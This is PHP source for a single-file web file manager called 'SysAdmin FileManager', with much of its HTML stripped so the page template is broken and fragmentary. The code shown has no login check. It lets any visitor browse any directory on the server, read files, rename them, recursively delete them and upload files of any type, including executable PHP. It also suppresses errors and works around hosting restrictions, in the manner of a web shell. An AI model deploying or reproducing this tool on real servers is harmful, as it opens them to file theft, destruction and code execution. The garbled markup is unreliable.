"SysAdmin FileManager",
'session_duration' => 3600 * 24 * 7,
'debug_mode' => false,
// Set to '/' for full root access (if allowed by open_basedir), or __DIR__ for script directory
'start_dir' => __DIR__,
'allowed_extensions' => array(), // Empty = allow all. E.g.: array('txt', 'log', 'jpg')
'max_upload_size' => 1024 * 1024 * 1024, // 1GB
);
// --- Initialization ---
@set_time_limit(0);
@ini_set('upload_max_filesize', '1024M');
@ini_set('post_max_size', '1024M');
define('DS', DIRECTORY_SEPARATOR);
// Session Setup
if (session_status() === PHP_SESSION_NONE) {
session_set_cookie_params([
'lifetime' => $config['session_duration'],
'path' => '/',
'secure' => isset($_SERVER['HTTPS']),
'httponly' => true,
'samesite' => 'Strict'
]);
session_start();
}
// --- Security Token Management ---
// Generate token only if it doesn't exist to keep it consistent during the session
if (empty($_SESSION['security_token'])) {
$_SESSION['security_token'] = bin2hex(random_bytes(32));
}
$security_token = $_SESSION['security_token'];
// --- Helper Functions ---
function clean_input($data) {
if (is_array($data)) return array_map('clean_input', $data);
return htmlspecialchars(stripslashes(trim($data)), ENT_QUOTES, 'UTF-8');
}
// Clean GET and POST
$_GET = clean_input($_GET);
$_POST = clean_input($_POST);
$_REQUEST = clean_input($_REQUEST);
// Error Reporting
if ($config['debug_mode']) {
error_reporting(E_ALL);
ini_set('display_errors', '1');
} else {
error_reporting(0);
ini_set('display_errors', '0');
}
function verify_token($token) {
// Use hash_equals to prevent timing attacks
return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token);
}
function format_size($size) {
if ($size <= 0) return '0 B';
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$base = log($size, 1024);
return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)];
}
function get_perms($file) {
if (!file_exists($file)) return '---------';
$perms = fileperms($file);
$info = '';
switch ($perms & 0xF000) {
case 0xC000: $info = 's'; break;
case 0xA000: $info = 'l'; break;
case 0x8000: $info = '-'; break;
case 0x6000: $info = 'b'; break;
case 0x4000: $info = 'd'; break;
default: $info = 'u';
}
$info .= (($perms & 00400) ? 'r' : '-');
$info .= (($perms & 00200) ? 'w' : '-');
$info .= (($perms & 00100) ? 'x' : '-');
$info .= (($perms & 00040) ? 'r' : '-');
$info .= (($perms & 00020) ? 'w' : '-');
$info .= (($perms & 00010) ? 'x' : '-');
$info .= (($perms & 00004) ? 'r' : '-');
$info .= (($perms & 00002) ? 'w' : '-');
$info .= (($perms & 00001) ? 'x' : '-');
return $info;
}
function get_owner_name($file) {
if (function_exists('posix_getpwuid')) {
$owner = @posix_getpwuid(fileowner($file));
$group = @posix_getgrgid(filegroup($file));
return ($owner['name'] ?? 'N/A') . ':' . ($group['name'] ?? 'N/A');
}
return 'N/A';
}
function delete_directory($dir) {
if (!file_exists($dir)) return true;
if (!is_dir($dir)) return @unlink($dir);
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') continue;
if (!delete_directory($dir . DS . $item)) return false;
}
return @rmdir($dir);
}
// --- Core Logic ---
$self = basename($_SERVER['PHP_SELF']);
$message = '';
$message_type = 'info';
// Determine current directory
$current_dir = realpath($config['start_dir']);
// 1. Check GET 'cd'
if (isset($_GET['cd'])) {
$req_dir = $_GET['cd'];
$real_req = realpath($req_dir);
if ($real_req !== false && is_dir($real_req)) {
$current_dir = $real_req;
}
}
// 2. Check Session (only if no GET 'cd')
elseif (isset($_SESSION['current_dir']) && is_dir($_SESSION['current_dir'])) {
$current_dir = realpath($_SESSION['current_dir']);
}
// Safety fallback
if ($current_dir === false) {
$current_dir = DS;
}
$_SESSION['current_dir'] = $current_dir;
// --- Handle POST (Actions) ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Validate Token
if (!isset($_POST['security_token']) || !verify_token($_POST['security_token'])) {
$message = "Invalid Security Token. Please refresh the page.";
$message_type = 'error';
} else {
// UPLOAD LOGIC
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
$file_info = pathinfo($_FILES['upload_file']['name']);
$ext = strtolower($file_info['extension'] ?? '');
$allowed = empty($config['allowed_extensions']) || in_array($ext, $config['allowed_extensions']);
if ($allowed) {
$dest = $current_dir . DS . basename($_FILES['upload_file']['name']);
$tmp_name = $_FILES['upload_file']['tmp_name'];
$upload_success = false;
// Method 1: Standard Move
if (@move_uploaded_file($tmp_name, $dest)) {
$upload_success = true;
}
// Method 2: Stream Copy (Fallback for restricted environments)
elseif (is_uploaded_file($tmp_name)) {
$in = @fopen($tmp_name, 'rb');
$out = @fopen($dest, 'wb');
if ($in && $out) {
while ($chunk = fread($in, 8192)) {
fwrite($out, $chunk);
}
fclose($in);
fclose($out);
$upload_success = true;
@unlink($tmp_name);
} else {
if ($in) fclose($in);
if ($out) fclose($out);
}
}
if ($upload_success) {
@chmod($dest, 0644);
$message = "File uploaded successfully.";
$message_type = 'success';
} else {
$message = "Failed to upload. Check permissions or open_basedir restriction.";
$message_type = 'error';
}
} else {
$message = "Extension '$ext' not allowed.";
$message_type = 'error';
}
}
// CREATE DIR
if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) {
$dir_name = basename($_POST['mkdir']);
$new_path = $current_dir . DS . $dir_name;
if (!file_exists($new_path)) {
if (@mkdir($new_path, 0755, true)) {
$message = "Folder created.";
$message_type = 'success';
} else {
$message = "Failed to create folder (Permission denied).";
$message_type = 'error';
}
} else {
$message = "Folder already exists.";
$message_type = 'error';
}
}
// RENAME
if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
$old_path = $current_dir . DS . basename($_POST['rename_from']);
$new_path = $current_dir . DS . basename($_POST['rename_to']);
if (file_exists($old_path)) {
if (@rename($old_path, $new_path)) {
$message = "Renamed successfully.";
$message_type = 'success';
} else {
$message = "Rename failed (Permission denied).";
$message_type = 'error';
}
} else {
$message = "Source not found.";
$message_type = 'error';
}
}
}
}
// --- Handle GET (Delete & View) ---
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
// DELETE
if (isset($_GET['delete']) && isset($_GET['token'])) {
if (verify_token($_GET['token'])) {
$target_name = basename($_GET['delete']);
$target_path = $current_dir . DS . $target_name;
if (file_exists($target_path)) {
if (is_dir($target_path)) {
if (delete_directory($target_path)) {
$message = "Directory deleted.";
$message_type = 'success';
} else {
$message = "Failed to delete directory.";
$message_type = 'error';
}
} else {
if (@unlink($target_path)) {
$message = "File deleted.";
$message_type = 'success';
} else {
$message = "Failed to delete file.";
$message_type = 'error';
}
}
}
} else {
$message = "Invalid security token for deletion.";
$message_type = 'error';
}
}
// VIEW FILE
if (isset($_GET['view'])) {
$file = basename($_GET['view']);
$path = $current_dir . DS . $file;
if (is_file($path)) {
$content = @file_get_contents($path);
if ($content === false) {
$view_content = "Cannot read file (Permission denied).";
} else {
// Check if binary
if (preg_match('~[^\x20-\x7E\t\r\n]~', $content)) {
$mime = @mime_content_type($path);
if ($mime && strpos($mime, 'image/') === 0) {
$view_content = "
";
} else {
$view_content = "Binary file content cannot be displayed as text.";
}
} else {
$view_content = "
" . htmlspecialchars($content) . "
";
}
}
} else {
$view_content = "File not accessible.";
}
}
}
// --- Breadcrumb Generation ---
function create_breadcrumbs($path) {
global $self, $security_token;
$parts = explode(DS, $path);
$build = '';
$html = '';
return $html;
}
$parent_dir = dirname($current_dir);
$has_parent = ($parent_dir !== $current_dir);
?>
| Name |
Size |
Perms / Owner |
Modified |
Actions |
Cannot read directory (Permission Denied). | ";
} else {
$dirs = [];
$items = [];
foreach ($files as $f) {
if ($f === '.' || $f === '..') continue;
$path = $current_dir . DS . $f;
if (is_dir($path)) $dirs[$f] = $path;
else $items[$f] = $path;
}
ksort($dirs);
ksort($items);
$all_files = $dirs + $items;
foreach ($all_files as $name => $path) {
$is_dir = is_dir($path);
$icon = $is_dir ? 'đ' : 'đ';
$size = $is_dir ? '-' : format_size(@filesize($path));
$perms = get_perms($path);
$owner = get_owner_name($path);
$time = date('Y-m-d H:i', @filemtime($path));
$link_url = $is_dir ? '?cd='.urlencode($path) : '?view='.urlencode($name);
$safe_name = htmlspecialchars($name);
$safe_name_js = addslashes($name);
?>
|
|
|
|
|
View
Rename
Delete
|
Folder is empty | ";
}
}
?>
Confirm Delete
Are you sure you want to delete ?